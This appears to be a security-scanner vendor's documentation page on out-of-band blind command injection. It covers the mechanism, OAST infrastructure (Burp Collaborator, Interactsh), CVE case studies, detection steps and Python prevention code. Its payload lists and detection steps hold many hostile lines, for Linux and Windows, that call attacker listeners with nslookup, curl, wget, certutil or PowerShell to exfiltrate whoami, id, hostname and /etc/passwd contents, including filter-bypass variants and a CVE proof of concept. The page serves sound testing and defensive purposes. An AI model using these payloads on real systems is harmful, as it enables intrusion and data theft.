Out-of-band Command Injection

What is Out-of-Band Command Injection?#

Out-of-band (OOB) command injection is the technique of confirming — and exfiltrating from — blind command injection by triggering a network connection from the target server to an attacker-controlled listener. The injected command does not produce output in the HTTP response; instead, it initiates an outbound DNS lookup, HTTP request, or other network protocol interaction that the attacker observes on their infrastructure.

OOB is the most reliable confirmation method for blind injection. It is immune to CDN response buffering (which defeats time-based detection), server load variation, and network jitter. It provides identity evidence — the running user encoded in the DNS subdomain — rather than just a binary yes/no. And because DNS resolution is permitted through most enterprise firewalls even when HTTP is filtered, DNS-based OOB reaches targets that HTTP callbacks cannot.

This page covers the mechanics of OOB exfiltration, the full infrastructure landscape, how BreachVex correlates callbacks to individual probes, and the specific cases where OOB is the only viable detection method. For the foundational blind injection concept, see the Blind page. For time-based confirmation, see the Time-Based page.

Mechanism#

The OOB chain has six steps:

1. The attacker injects a payload containing a command that triggers an outbound network connection, embedding the output of a command (e.g., whoami) as a subdomain or path parameter.
2. The target application passes the injected string to a shell execution function.
3. The shell executes the injection: first evaluates $(whoami) as a subshell, then uses the result as part of the DNS query or URL.
4. The target server sends an outbound network request (DNS resolution or HTTP GET) to the attacker's OAST infrastructure.
5. The OAST server logs the incoming interaction, recording the subdomain (which contains the command output) and timestamp.
6. The attacker polls the OAST server and reads the interaction — confirming execution and exfiltrating data without any evidence in the HTTP response.

Payloads#

DNS Exfiltration#

DNS-based OOB is the most reliable because DNS port 53 UDP/TCP traverses most enterprise firewalls:

# Basic whoami exfiltration — most common pattern
; nslookup $(whoami).OAST_DOMAIN
; nslookup `id`.OAST_DOMAIN
 
# curl-based DNS resolution (if nslookup unavailable)
; curl http://$(whoami).OAST_DOMAIN/
 
# Host command alternative
; host $(whoami).OAST_DOMAIN
 
# dig alternative
; dig $(whoami).OAST_DOMAIN
 
# Exfiltrate hostname
; nslookup $(hostname).OAST_DOMAIN
 
# Exfiltrate whoami + hostname together
; nslookup $(whoami).$(hostname).OAST_DOMAIN
 
# Windows equivalent (cmd.exe)
& nslookup %OS%.OAST_DOMAIN &
& nslookup %COMPUTERNAME%.OAST_DOMAIN &

HTTP Exfiltration#

HTTP callbacks allow larger data payloads (no 63-character DNS label limit):

# Base64-encoded id output via curl
; curl http://OAST_DOMAIN/$(id|base64 -w0)
 
# wget alternative
; wget -q http://OAST_DOMAIN/?q=$(id|base64 -w0)
 
# /etc/passwd content (partial — first line)
; curl http://OAST_DOMAIN/$(head -1 /etc/passwd|base64 -w0)
 
# File enumeration via loop
; for f in $(ls /etc/); do curl -s http://OAST_DOMAIN/?f=$f; done
 
# With IFS bypass for WAF evasion
$(curl${IFS}http://$(id|base64${IFS}-w0).OAST_DOMAIN/)

Windows OOB#

REM DNS — net use for UNC path triggers DNS+SMB (useful with Responder)
& net use \\$(OAST_DOMAIN)\share &
 
REM DNS via nslookup
& nslookup %USERNAME%.OAST_DOMAIN &
 
REM HTTP via certutil (often whitelisted)
& certutil -urlcache -split -f http://OAST_DOMAIN/$(whoami) %TEMP%\oob.txt &
 
REM PowerShell HTTP callback
& powershell -c "Invoke-WebRequest http://OAST_DOMAIN/?u=$env:USERNAME" &

Space Bypass Variants#

When the target filters spaces in injection payloads:

; nslookup${IFS}$(whoami).OAST_DOMAIN
; curl${IFS}http://OAST_DOMAIN/$(id)
$(curl${IFS}http://$(whoami|base64${IFS}-w0).OAST_DOMAIN/)
%0a nslookup$(IFS)$(whoami).OAST_DOMAIN

Infrastructure#

Burp Collaborator (Professional Standard)#

Burp Collaborator is the standard OAST infrastructure for professional penetration tests:

• Per-test unique subdomains: each active scan item gets a unique Collaborator subdomain, preventing cross-item false positives
• Polling API: Burp Scanner polls the Collaborator server and automatically correlates interactions with scan requests
• Protocol coverage: DNS, HTTP, HTTPS, SMTP
• Audit trail: all interactions logged with timestamps for inclusion in reports
• Data privacy: private server — interaction data is not exposed to third parties

# Burp Collaborator subdomain format:
YOUR-PAYLOAD.YOUR-COLLABORATOR-ID.oastify.com

Interactsh (Open-Source, Self-Hostable)#

Interactsh (ProjectDiscovery) is the leading open-source OAST solution:

# Install CLI
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
 
# Start client — auto-registers a unique subdomain
interactsh-client
 
# Output:
# [INF] Using interactsh server: oast.pro
# [INF] Listing on: abc123xyz.oast.pro
# [DNS] Received DNS interaction for: www-data.abc123xyz.oast.pro from 203.0.113.42

Self-hosted deployment (for air-gapped environments):

# Deploy interactsh-server on VPS
interactsh-server --domain your-oast.example.com --token secret-token
 
# Connect client to self-hosted server
interactsh-client -s your-oast.example.com -token secret-token

Public OAST Endpoints#

The Correlation ID Pattern#

In concurrent scans testing multiple parameters simultaneously, multiple OOB payloads fire at the same time. Without per-probe correlation IDs, you cannot determine which parameter caused which callback.

import uuid
 
def generate_oob_payload(param_name, oast_server):
    """Generate a unique OOB payload for a single parameter probe."""
    correlation_id = str(uuid.uuid4())[:8]
    oast_domain = f"cmdi-{correlation_id}.{oast_server}"
    payload = f"; nslookup $(whoami).{oast_domain}"
    return payload, correlation_id, oast_domain
 
# Usage:
payload, corr_id, domain = generate_oob_payload("host", "oast.pro")
# payload = "; nslookup $(whoami).cmdi-7a3b1f92.oast.pro"
# corr_id = "7a3b1f92"
# domain  = "cmdi-7a3b1f92.oast.pro"

Expected proof JSON when interaction is received:

{
  "technique": "oob_dns",
  "payload": "; nslookup $(whoami).cmdi-7a3b1f92.oast.pro",
  "oob_interaction": {
    "type": "dns",
    "subdomain_received": "www-data.cmdi-7a3b1f92.oast.pro",
    "exfiltrated_data": "www-data",
    "source_ip": "203.0.113.42",
    "timestamp": "2026-05-08T14:23:11Z",
    "correlation_id": "7a3b1f92"
  }
}

Real-World Examples#

CVE-2024-3400 — PAN-OS GlobalProtect (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

The exploitation of CVE-2024-3400 by threat actor UTA0218 (Volexity) is one of the most documented real-world uses of OOB injection confirmation in a nation-state campaign. The two-stage attack:

1. Stage 1: A malformed SESSID cookie with path traversal (SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/poc.py) used the GlobalProtect portal to write an arbitrary Python file.
2. Stage 2: A separate request triggered the written file to execute with root privileges via a background cron process.

Attackers confirmed root-level execution via OOB DNS callbacks before deploying the UPSTYLE Python backdoor. The OOB confirmation was critical because the HTTP response from the portal returned no command output. CISA added this to the KEV catalog on April 12, 2024 — the same day of discovery.

CVE-2024-9463 — Palo Alto Expedition (CVSS 9.9)

The unauthenticated OS command injection in /API/convertCSVtoParquet.php executed commands as root without returning any output in the API response. OOB was the only viable confirmation method. PoC exploitation used:

curl -X POST https://expedition.example.com/API/convertCSVtoParquet.php \
  -d "file=x;curl${IFS}http://$(id|base64${IFS}-w0).cmdi-test.oast.pro/"

The Interactsh server received an HTTP GET to a path containing the base64-encoded id output, confirming root execution. CISA KEV.

HackerOne — OOB-Based Blind Injection Reports

Multiple public HackerOne reports document OOB-confirmed blind injection. HackerOne #2293731 (Internet Bug Bounty, CVE-2023-6004) used SSH ProxyCommand injection via user-controlled hostnames — the blind injection was confirmed via DNS OOB since the SSH subprocess produced no application-visible output. The technique of using ProxyCommand option injection maps directly to the Argument Injection variant covered in the Argument Injection page.

Detection#

Manual Testing#

1. Register an Interactsh subdomain or configure Burp Collaborator:

   interactsh-client
   # Note the assigned subdomain: abc123.oast.pro

   Copy

2. Inject the DNS probe with a correlation ID:

   ; nslookup $(whoami).cmdi-test-001.abc123.oast.pro
   ; curl http://abc123.oast.pro/$(id|base64 -w0)

   Copy

3. Monitor the Interactsh console for incoming interactions:

   [DNS] www-data.cmdi-test-001.abc123.oast.pro from 203.0.113.42

   Copy

   The subdomain prefix www-data confirms both execution and the running user.

4. If DNS is blocked, try HTTP:

   ; curl http://abc123.oast.pro/probe
   ; wget -q -O /dev/null http://abc123.oast.pro/probe

   Copy

5. Test with space-bypass variants when basic payloads fail:

   ;${IFS}nslookup${IFS}$(whoami).abc123.oast.pro
   %0anslookup%20$(whoami).abc123.oast.pro

   Copy

6. For Windows targets, test DNS via nslookup and UNC paths:

   & nslookup %USERNAME%.abc123.oast.pro &

   Copy

Automated Detection#

Commix OOB mode:

commix --url "http://target.com/ping?host=*" \
       --batch --smart --technique=O --level=3 \
       --dns-server oast.pro

Burp Suite Pro active scanner automatically uses Collaborator for OOB detection when "Out-of-band" techniques are enabled in scanner settings. The Collaborator panel shows all interactions correlated to scan items.

BreachVex confirms OOB injection by injecting ; nslookup $(whoami).cmdi-<correlation-id>.<oast-domain> with a unique correlation ID per probe. When the out-of-band interaction is received, the subdomain prefix (the command output) and the correlation ID are extracted and stored as confirmed proof evidence.

Prevention#

OOB injection exploits the same root cause as all command injection variants — user input reaching a shell execution function. The OOB channel is an exploitation technique, not the vulnerability itself. Preventing the injection prevents the OOB callback.

# VULNERABLE — OOB callback fires from this code
import os
def process_domain(domain):
    # Attacker injects: ; nslookup $(whoami).attacker.oast.pro
    result = os.popen(f"nslookup {domain}").read()
    return result
 
# SAFE — no shell, array form
import subprocess, re
def process_domain_safe(domain):
    # Strict allowlist — domain format only
    if not re.fullmatch(r'^[a-zA-Z0-9][a-zA-Z0-9\-\.]{1,253}[a-zA-Z0-9]$', domain):
        raise ValueError("Invalid domain format")
    result = subprocess.run(
        ["nslookup", domain],
        capture_output=True,
        text=True,
        timeout=10
    )
    return result.stdout

Network-level defense: block outbound DNS and HTTP requests from application servers to the internet. Many OOB detection techniques fail entirely when the server has no direct internet access and all DNS is resolved through an internal server that does not forward to external resolvers. This does not fix the injection vulnerability but defeats OOB confirmation and data exfiltration.

Resources#

• PortSwigger Lab — Blind OS command injection with OOB data exfiltration
• Interactsh — ProjectDiscovery (open-source OAST)
• CVE-2024-3400 — Palo Alto Advisory
• OWASP OS Command Injection Defense Cheat Sheet